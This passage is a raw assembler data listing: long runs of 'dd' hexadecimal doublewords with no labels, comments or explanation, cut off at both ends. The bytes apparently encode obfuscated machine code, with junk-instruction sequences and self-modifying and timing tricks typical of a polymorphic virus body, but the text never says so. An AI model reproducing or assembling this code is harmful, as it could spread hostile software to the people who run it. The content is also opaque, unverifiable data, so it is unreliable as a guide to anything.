2811858Dh, 81660603h, 90A6F1D7h dd 33BBBF50h, 505B49C2h, 6A9051B3h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 62A5C352h dd 20EE422Fh, 6AD88BDCh, 0B1953100h, 6A060309h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 1337B4DEh, 8D4CBBBAh, 7C6A385h, 10E806h, 0DF4A0000h dd 3B9966E6h, 0ADC4B5F4h, 2F4EDD01h, 0CB802A9Eh, 0BD235F70h dd 6031CADh, 6A05C083h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 7EECC356h, 0D822D51Eh dd 0E8905649h, 14h, 0CAC64CC7h, 0BBBE3Ah, 5CFEDCB7h, 0EBD10045h dd 7A079A60h, 0CE8h, 0C54D0F00h, 357C31D9h, 799C010Ah dd 5B56B39Dh, 98B3505Bh, 6ADA8B90h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 0BCCD4D07h dd 6AD719h, 19D18D89h, 95FF0603h, 6030CC9h, 41DF8166h dd 478D8D83h, 6A060697h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 6C14C351h, 0EE9h, 745DEE00h dd 996D4714h, 0F5589730h, 89D86E28h, 32F2D9Dh, 9D1FF06h dd 330D9BDh, 91BD8306h, 106031Eh, 6D850Fh, 9D290000h, 6031089h dd 32B7026Ah, 660EBB50h, 489090Dh, 0B195FF24h, 6A06031Ch dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 0ADACC357h, 456FAC79h, 0B8641871h, 10E8h dd 878F4A00h, 8093CF87h, 4F5AC06Eh, 0F83BEDFEh, 13E897h dd 0F59F0000h, 74334DE5h, 0BB0EB692h, 0CCA31930h, 7AC67C8Ch dd 0E95F5B99h, 0DA3h, 0E8h, 0ED815D00h, 607C6ADh, 6AFA8Bh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 8B8131C3h, 0E1205DEh, 8889858Dh, 0D88B0606h, 0A1BF6690h dd 0BB6650D3h, 569091ABh, 35FF645Fh, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 32C35646h dd 0A3728794h, 0B510931Fh, 64CB8188h, 6416F687h, 2589h dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h dd 56460000h, 275809C3h, 90C004DDh, 1585FF8Bh, 8B06032Ah dd 6AFF6AFBh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 68C3C355h, 30A9B5FFh, 6A0603h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 50A290C3h, 2DF58589h, 895F0603h, 32311BDh, 1595FF06h dd 0E9060320h, 11Eh, 0C38000B0h, 6670E630h, 71E4FE8Bh dd 8DD78166h, 0F613C8Dh, 10583h, 0D3816600h, 0B60FF80Ch dd 18509C8h, 0BA060314h, 6, 0D8A0Fh, 8E90000h, 57000000h dd 69634BBCh, 8B41F5E3h, 0AEEB80C1h, 0E904E8C1h, 10h, 0EE17FD05h dd 0C2DCFBA3h, 71E680DBh, 0DB75F47Bh, 0FE2F766h, 68Ch dd 25858900h, 2B06032Ch, 13E8C8h, 0B61A0000h, 0DA5E6486h dd 37AAC6ACh, 0B4655D39h, 22040714h, 816660B1h, 0BB5CD4E1h dd 0C3E7F7Fh, 0D18B5F61h, 68D0Fh, 9D030000h, 60320D9h dd 79E9h, 858BFC00h, 1, 30A59D2Bh, 0C0830603h, 0A1BD8B07h dd 83060326h, 9D8900C0h, 6032F2Dh, 830FD03Bh, 18h, 34DB8166h dd 48E969h, 81600000h, 7010E9E2h, 0F9958B3Ch, 6106030Ah dd 0FFFF8D8Bh, 8B66FFFFh, 1E183DFh, 28840Fh, 9D8B0000h dd 6031CF5h, 0FFFFA583h, 66FEFFFFh, 8B5234BFh, 330C9BDh dd 1958906h, 8B000000h, 331999Dh, 0E906h, 0B58D0000h, 60745ACh dd 2A218D89h, 6A0603h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 54C35646h, 0B995FF55h, 6A06031Fh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 637CC353h, 1CD69C28h, 0FBB9BE15h, 8300000Eh, 6AFCE1h dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 0E88E07C3h, 51006AFCh, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1C04h, 0C3514100h, 2623E1B2h, 0E3508015h dd 35B589D2h, 2B060328h, 870FC0h, 0BA000000h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0A7C35545h dd 9CF11F91h, 9842249h, 4D9D8BE1h, 60060330h, 810Fh, 0AD610000h dd 0E8D1C233h, 0E983D003h, 89F47504h, 329E1BDh, 9DBD8B06h dd 0D06031Eh, 88h, 0FBC2DABBh, 25B50952h, 8B06030Bh, 331D195h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 24EDD1AAh, 0BBD0A927h, 75E48C6Ch, 225B589h dd 8D8B0603h, 60301E1h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 0FFC35646h, 0EBE16AA8h, 81BD8956h, 5F060326h dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 0AE6F4FC3h, 9E98Ch, 33B30000h, 0FA566302h, 0F3CCA78h dd 183h, 6AF900h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 0A4A869C3h, 895229A3h, 313F99Dh dd 0BD835B06h, 6031D65h, 7D840F00h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 8936C350h, 312A195h, 0B806h, 0BBB70000h, 4D1C8D8Dh dd 6A0603h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 2B7136C3h, 0E56A8495h, 85891C4Ch, 6031EDDh dd 6AE1FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 47248DC3h, 0ED1A9F7Dh, 21BDBD83h, 0F000603h dd 4C284h, 0D6C78100h, 8304F4D2h, 321BDBDh, 840F0106h dd 4CAh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 14h, 60C35646h, 21BDBD83h, 0F030603h, 46B86h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 0AED87105h, 46D819E7h, 9D896D9Fh, 6032E95h, 66F88B60h dd 669151BFh, 6AD98Ch, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1A0424h, 51410000h, 0EBE760C3h, 0C675612Eh, 80D88B66h dd 6A04E1h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 0E0F27DC3h, 0E048722Ah, 9D8BDE20h, 60321E9h dd 840FC90Ah, 147h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 15h, 6EC35242h, 0F8BF0F51h, 13C1858Bh, 6A0603h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 17A52FC3h, 71889126h, 0BFD78045h, 0C4C78166h, 79853349h dd 6A06031Ch, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1C042444h, 42000000h, 7F3DC352h, 0E93F6596h, 5049A6F1h dd 1B45BF66h, 6A240489h, 0DE8B6600h, 4E8h, 1F03FF00h, 0EE800h dd 4A140000h, 5A3A2E62h, 35D7D491h, 0D0945573h, 5F616057h dd 448B505Bh, 8B0424h, 4489D98Bh, 6A580424h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h dd 72ECC351h, 852F3BAAh, 0FFDA8B66h, 3140595h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 8E06BEDFh, 8955A7B9h, 321A985h, 34858906h, 600606A7h dd 8D0F60h, 60000000h, 9D096161h, 6031799h, 220E961h, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 5D9F36C3h, 8BC4E380h, 6A72C85h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 74061455h dd 0C4740D47h, 0C77E02h, 18h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ch, 17C35242h, 9DC7B63Dh, 0D0DAAA8Bh dd 5850Fh, 81660000h, 8B4BE6E7h, 6A730B5h, 79BB6606h, 8D858B47h dd 66060312h, 6048C781h, 89560689h, 31BBD9Dh, 858B5F06h dd 60313C1h, 2BE58D89h, 46890603h, 14E904h, 0E1B60000h dd 5946AA7Fh, 0D62F36C2h, 0A28FBF3Dh, 69946C69h, 669647FEh dd 6050DF8Bh, 615F5360h, 0FE9h, 4118C400h, 8E37490Bh, 0A4DF258h dd 0DAAD3F09h, 6A9661h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 0BFB08FC3h, 7A0B3CD8h, 66D249ECh dd 0DE8BDA8Bh, 0A72CB5FFh, 6A0606h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 150424h, 56460000h, 0E93169C3h dd 0Bh, 2B078195h, 2890C753h, 68914DA3h, 9B947052h, 14E8h dd 0C64F9200h, 945D4E1Bh, 17E46398h, 0B344754Fh, 0F53D2493h dd 11E9577Bh, 0BC000000h, 91F17AEEh, 19CF8D21h, 0F5C23E70h dd 0F6A704AAh, 4815B5Fh, 8A93AD24h, 52006A64h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 0CF781E5h dd 2439B529h, 858D0603h, 606A734h, 880Fh, 89500000h, 6A2404h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 99945CC3h, 0D499129h, 0C38166B6h, 95FF6568h, 6031405h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 0BEC35141h dd 12E9F6h, 1E6B0000h, 0A9EF89B8h, 81C29228h, 7985EC36h dd 25198A14h, 1A39B531h, 23610603h, 31A2DBDh, 0BD85C706h dd 3060321h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1A042444h, 46000000h, 85D7C356h, 1D7A8232h dd 0ECDB814Fh, 83194AE0h, 6A734BDh, 840F0006h, 50h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 75C35646h, 5E2743F5h dd 0C4C38166h, 2D858930h, 0E9060304h, 3Bh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 8CC35545h, 47AC1104h dd 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 9C08B00h dd 305D59Dh, 0BDBD8306h, 3060321h, 3C2850Fh, 0D98B0000h dd 0A734BD83h, 0F000606h, 3B384h, 6850F00h, 8B000000h dd 323599Dh, 34B5FF06h, 6A0606A7h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 88DDC356h dd 9CB33DADh, 2E0595FFh, 9D8B0603h, 6030FF5h, 0A728B58Bh dd 6A0606h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h dd 57470000h, 94CBC0C3h, 68151E3Eh, 0C79C04E9h, 1000106h dd 8DBF6600h, 0C9E3807Fh, 36BE6096h, 6141ED99h, 6840F50h dd 0F000000h, 8Ch, 25BB9600h, 0FF4FE59Fh, 6A734B5h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 1CCC1331h, 36A1D62Bh, 5BD294Ch, 0FF06030Ch, 32F1995h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h dd 0C3574700h, 0C04D20C5h, 496F0043h, 0D9BF0F03h, 0A728B58Bh dd 31600606h, 331C9BDh, 0F1806006h, 8DBD0B06h, 61060324h dd 1D858B61h, 81060331h, 0E98221EBh, 0C486894Dh, 8B000000h dd 31A1D9Dh, 519D0106h dd 8B060331h, 331D195h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1504h, 0C3504000h, 0C2833F92h, 28E0F04h dd 8B000000h, 205089DFh, 0B8C4BF66h, 0BBF3858Dh, 85310606h dd 6032625h, 0B88689h, 9D8B0000h, 6032E45h, 9E8006Ah, 0C3000000h dd 16363A5h, 85200DBBh, 84C153BFh, 0B5FF5F31h, 606A734h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 31C35040h dd 8CAE6F4Fh, 850FE286h, 6, 2C019529h, 95FF0603h, 6031CB1h dd 0CCC78166h, 506050C2h, 8D0F52h, 0F000000h, 0CABE6631h dd 0BF585AC7h, 433C9BF5h, 24348961h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 18h, 8C35545h, 76479775h, 81FA8B66h dd 6FA9CCD7h, 34B5FF14h, 6A0606A7h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 5EF5C350h dd 8B00D7B9h, 30CD19Dh, 6595FF06h, 66060311h, 833339BFh dd 31795BDh, 840F0006h, 39h, 96DBB70Fh, 0C458BB50h, 6A9616EEh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 0CFA3C356h, 5F69075Fh, 0FCD0DCF1h, 8B19C780h dd 304E5BDh, 34B5FF06h, 6A0606A7h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0EB81C357h dd 0CCF69BB0h, 9A49C411h, 22C672BFh, 6195FF2Fh, 6A060306h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 4C73C356h, 8B5FA332h, 14288ECh, 313EDB5h dd 34B5FF06h, 6A0606A7h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1A042444h, 46000000h, 1F6AC356h, 0ACA8A110h dd 0FFFE8B2Ch, 30AE195h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 6860F16h, 31000000h, 311BD8Dh dd 8DBD8306h, 2060321h, 38840Fh, 8B660000h, 0FD858BF9h dd 6A060301h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 2CCEC352h, 1FA8CF81h, 0BF667677h dd 0C61B05h, 54BCBB00h, 85C717C4h, 60330B9h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 7C35040h dd 9D89BD82h, 6030455h, 0FFF340E9h, 52006AFFh, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 5BE5D32Ah dd 0D29A5D8Ch, 8E9h, 68690600h, 960D29CDh, 8AC18BDBh, 0C5BD8BDDh dd 8D06031Ch, 3281185h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1504h, 0C3574700h, 5760ADA5h, 1B19BD89h dd 895E0603h, 32D719Dh, 9D8B6106h, 6032AA9h, 0BB665090h dd 0F904143h, 582h, 0E7816600h, 6AA2BAh, 8DB58B60h, 2906031Eh dd 31ADD85h, 6A6106h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Dh, 38C35141h, 6DD7FCCAh, 6AECED29h, 0D9D8BBDh dd 8D060321h, 7D66885h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1A04h, 0C3564600h, 7224AD4h, 83504AB2h, 6A05C0h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 0F396EC3h, 289h, 50DA8B00h, 489F98Ah, 0EFEF8124h, 6A16887Ah dd 0FE900h, 0F52D0000h, 486D64EBh, 18725AA5h, 977769AFh dd 6AFE8A59h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1D04h, 0C3554500h, 6E4FCA3Dh, 0B5943815h, 0BD8B71E4h dd 6031F05h, 0FFF98B66h, 30CC995h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 7ECC95C3h dd 51A18EFEh, 20DBD8Bh, 8D5B0603h, 697478Dh, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 0DB8038C7h, 6AD1FF27h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 1B12C352h, 0DABF0F3Ah dd 1E91BD83h, 0F010603h, 6B85h, 11858900h, 6A060302h, 52006A02h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 8B586D34h, 0B85D627h, 28758D89h, 8B500603h, 240489D8h dd 1CB195FFh, 6A0603h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 0A3D8ACC3h, 7B70FCBDh, 7E9h, 0C7C0B100h dd 507B9DB7h, 0D6CE9h, 0E800h, 815D0000h, 7D672EDh, 0E9858906h dd 6A06032Ch, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 725FC356h, 0F65456Bh, 685h, 0C68B6000h dd 8D615951h, 6888985h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 0C3554500h, 50AA3D23h, 0FF28B60h dd 680h, 8D0F00h, 61000000h, 6A240489h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0E416C353h dd 8E956D8h, 33000000h, 0EF773182h, 5BD9C197h, 35FF64h dd 66000000h, 9D42EF81h, 258964h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h dd 0C52C351h, 0DD71C78h, 0A96FBF66h, 0A880Fh, 0B1600000h dd 0B1B58976h, 61060309h, 2A1585FFh, 0FF6A0603h, 6E9h dd 0F64A5000h, 0FF71531Dh, 3324DB5h, 8CCEBB06h, 95FF6236h dd 6032015h, 12DE9h, 51EF8100h, 66373826h, 0B0F88Bh, 0DE9h dd 0D636DB00h, 94875606h, 0B373EB5Ah, 70E69510h, 7E9h dd 3A94A700h, 0E61EB1D8h, 5D25BB66h, 0BB6671E4h, 0BF667713h dd 613C9608h, 0EC830Fh, 0BD010000h, 6032E25h, 5E8h, 5FC7D800h dd 9529150Fh, 6032D3Dh, 0C8B60F5Bh, 90DF8166h, 0F8BF0FFEh dd 6BAh, 0B5896000h, 6030081h, 8B6162B1h, 0C1D88BC1h, 816604E8h dd 662AF5F7h, 0BB66E2F7h, 0C82B0DFDh, 66D18BF9h, 9BE9DA8Bh dd 89000000h, 31CB58Dh, 69958906h, 8B060309h, 485h, 4EF2BB00h dd 0C08312A2h, 0EACABB07h, 0C08376A0h, 0D99D8B00h, 3B060331h dd 0F830FD0h, 89000000h, 32559BDh, 60E906h, 0BB660000h dd 8D8B9DADh, 0FFFFFFFFh, 12E9h, 5599F800h, 3D193232h dd 0CCC16018h, 0B2BA78CAh, 83A5C05Fh, 840F01E1h, 36h, 9E9h dd 0A6004400h, 10A70EEAh, 0A583BD99h, 0FFFFFFFFh, 6E9FEh dd 0A8740000h, 9E427F89h, 49589h, 95890000h, 6030CA5h dd 2D40C2BBh, 0E952h, 0B58D0000h, 60754A7h, 68B0F60h, 31000000h dd 30F3D95h, 9AB86606h, 6A61B5h, 28B0Fh, 0DF8B0000h, 1FB995FFh dd 6A0603h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h dd 53430000h, 403A6CC3h, 957F52E4h, 893CB7E0h, 32ECD95h dd 1084B906h, 860F0000h, 5, 7EE38166h, 0FCE18317h, 28259589h dd 0FFC0603h, 0C02BFABFh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 63C35646h, 0E9E17837h, 0E8A526B3h, 0F7BB6628h dd 0BA03h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 9D8BEFC3h, 60313DDh, 0D1C233ADh dd 83D003E8h, 0F47504E9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Dh, 83C35343h, 0D316A3DBh, 0C84554D1h, 559D015Ch dd 29060322h, 311F1B5h, 0E7E38106h, 0D74B6E5h, 88h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 2BC35545h, 0A29F5524h dd 858B6050h, 6031F69h, 2279B58Bh, 5F610603h, 1E51B529h dd 958B0603h, 60331D1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 19h, 36C35545h, 0FF6B1C0Ch, 0AE985h, 6E70000h dd 6F37E015h, 56A1F6E6h, 1E18D8Bh, 6A0603h, 3E850h, 58200000h dd 448958C3h, 44810424h, 180424h, 50400000h, 58BADEC3h dd 0FE8BD27Eh, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h dd 0B7BB5818h, 6A14EA6Dh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 0C336C351h, 19FFCFh dd 0DEBF0F65h, 1D65BD83h, 0F000603h, 0BA84h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h dd 2D9D09FCh, 0BF060313h, 4948B8h, 0B8h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 7EEED8B1h, 0E9EAE3A8h, 0Ch, 964F6285h, 0E8C06C35h, 35A223BDh dd 4D1C8D8Dh, 0EE90603h, 73000000h, 29A52139h, 9B4C6A95h dd 0EE580AD2h, 0CE857FEh, 0A9000000h, 81B57BE0h, 3EBBBC27h dd 0BB1329FBh, 7888324Ch, 0E1FF5B5Bh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 0BAC35141h, 0DEFAE468h, 8166BA26h dd 83167EEFh, 321BDBDh, 840F0006h, 3E6h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 16h, 47C35646h, 0F88A61D5h dd 21BDBD83h, 0F010603h, 3D484h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 5FEF8F22h dd 898EC367h, 3243195h, 0BDBD8306h, 3060321h, 369860Fh dd 0BD8B0000h, 6031C59h, 49B52960h, 66060326h, 8166D98Ch dd 803787C3h, 6A04E1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1D0424h, 55450000h, 0FA77D6C3h, 0B7E3E36Fh, 8973F4C9h dd 3234195h, 0FC90A06h, 13A84h, 499D8B00h, 8B060329h, 313C185h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 5185D46Fh, 853309C4h, 6031C79h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 74C35141h, 5790F974h dd 5BFB8B66h, 0BB525050h, 730C1AFAh, 0FE9310Fh, 0DE000000h dd 0F7B22B6h, 878EECF1h, 0FC5C079Ch, 585A45E1h, 56006A90h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 4EFBA50Bh, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 9ADFCC3h, 992E7378h, 68E2DF80h dd 0CF867CB3h, 6E95160h, 47000000h, 19C04300h, 81615B13h dd 874C2404h, 6A3098h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 140424h, 56460000h, 816675C3h, 0FF314BC7h, 3140595h dd 0B8DB8106h, 896CAECAh, 6A73485h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 96E9DB88h dd 0F000001h, 688h, 0D9D8900h, 8B060328h, 6A72C85h, 0DA8B6606h dd 1800C7h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 0CF81C3C3h, 195BC334h, 0A730B58Bh dd 6A0606h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h dd 53430000h, 0E33B2EC3h, 6B7C9FCFh, 599D8B9Fh, 6606031Ah dd 8BD01EBFh, 3128D85h, 25BD8906h, 8906030Bh, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h dd 559D893Eh, 50060302h, 0C91BD8Bh, 8B5F0603h, 313C185h dd 0B9BD8B06h, 8906030Fh, 0BD890446h, 6031799h, 8870F96h dd 0F000000h, 28Eh, 50616000h, 5E8h, 71FE0B00h, 52504F63h dd 800Fh, 310F0000h, 585A6160h, 8D89965Fh, 603175Dh, 0A72CB5FFh dd 81660606h, 684583EFh, 141FC3ECh, 3481A8B3h, 0C01324h dd 34858D14h, 6A0606A7h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 791CC353h, 0BD9D311Dh dd 50060320h, 0CE8h, 0A17F900h, 0C9583EBh, 0E9B96805h dd 0DA8B66BBh, 2404895Bh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 0DAC35040h, 0EB81661Bh, 95FFF2A0h, 6031405h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 3BC35747h dd 897FA85Ah, 3138585h, 0B70F6106h, 0BD85C7FAh, 3060321h dd 81000000h, 0A9BC8DCFh, 34BD837Bh, 606A7h, 39840Fh, 14E80000h dd 17000000h, 748EDB40h, 0BDF2E84Fh, 9AB52A75h, 0ED5A6E3Ah dd 0F3AA3DFh, 28Fh, 5B5B5200h, 2DE9h, 8C0F5700h, 2, 605F5F50h dd 68D958Bh, 50610603h, 110C30h, 0C1011144h, 443010E8h dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h dd 4E98311h, 0EBE775h, 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 140424h, 53430000h, 8D89B3C3h, 603010Dh dd 7761BF66h, 21BDBD83h, 0F030603h, 3FE85h, 34BD8300h dd 606A7h, 3F1840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 2CEA8CC3h, 0FFFFB70Fh dd 6A734B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1C04h, 0C3514100h, 9807E8EAh, 44239F5Ch, 8F8BF51h, 13E80CCDh dd 26000000h, 0B47E623Ah, 0CC9F5F17h, 0F4BE5DC8h, 75D697CEh dd 860FAE95h, 6, 0B7D8509h, 0FF5F0603h, 32E0595h, 850F06h dd 8B000000h, 6A728B5h, 69853106h, 0C706032Ah, 1000106h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 33895F71h, 312699Dh, 0B5B58906h, 50060330h dd 51605250h, 310F615Eh, 68EEBF66h, 3489585Ah, 0F3816624h dd 0B5FFBB23h, 606A734h, 80FFB70Fh, 95FF1BD7h, 6032F19h dd 56BE781h, 0B58B5EDFh, 606A728h, 0C547BB66h, 311D858Bh dd 0BD8B0603h, 6030B25h, 0C48689h, 8B600000h, 0B19D8BDEh dd 61060326h, 10E9h, 530A6F00h, 1184EAB4h, 0D6E5742Ch dd 292D26ABh, 0D1958BADh, 0E8060331h, 6, 50F5F0B4h, 9589638Eh dd 6031031h, 4C2835Fh, 0FE9h, 74ACD000h, 0CA232565h, 0C5545175h dd 53D47DBAh, 0E9205089h, 7, 6779F64Eh, 8D3E140Dh, 6BBF385h dd 0F7816606h, 86892043h, 0B8h, 240DBD33h, 81660603h, 6AC0E5D3h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h dd 0C3514100h, 811A8BADh, 1D9BED5Eh, 35852926h, 0F06032Ah dd 681h, 0DD9D8B00h, 0FF060313h, 6A734B5h, 72BB6606h, 0B195FFC6h dd 8906031Ch, 3035585h, 96509606h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ch, 22C35141h, 3C239731h, 24C287A4h dd 9F5BD31h, 0B5FF0603h, 606A734h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 0E8C35141h, 2268C811h, 89FBBF0Fh dd 31A1195h, 6595FF06h, 0B3060311h, 0BD83F5C7h, 6031795h dd 3C840F00h, 0E9000000h, 12h, 40BD5F05h, 71C9FA01h, 0AF69F7D4h dd 6BC61FB0h, 0BB505749h, 49A0111Bh, 89243489h, 30331BDh dd 0AE806h, 7F2F0000h, 982142E8h, 5FFEB66h, 0DE68CF81h dd 0FF5B0EACh, 6A734B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1A04h, 0C3564600h, 313E517Fh, 603329DBh dd 66CE8B66h, 61357DBAh, 66195FFh, 6A0603h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 190424h, 56460000h, 51BFFFC3h dd 1E17FFEh, 32AF58Dh, 5E906h, 2CC10000h, 0FF924844h, 6A734B5h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 0E6D7EF37h, 8BA87CEEh, 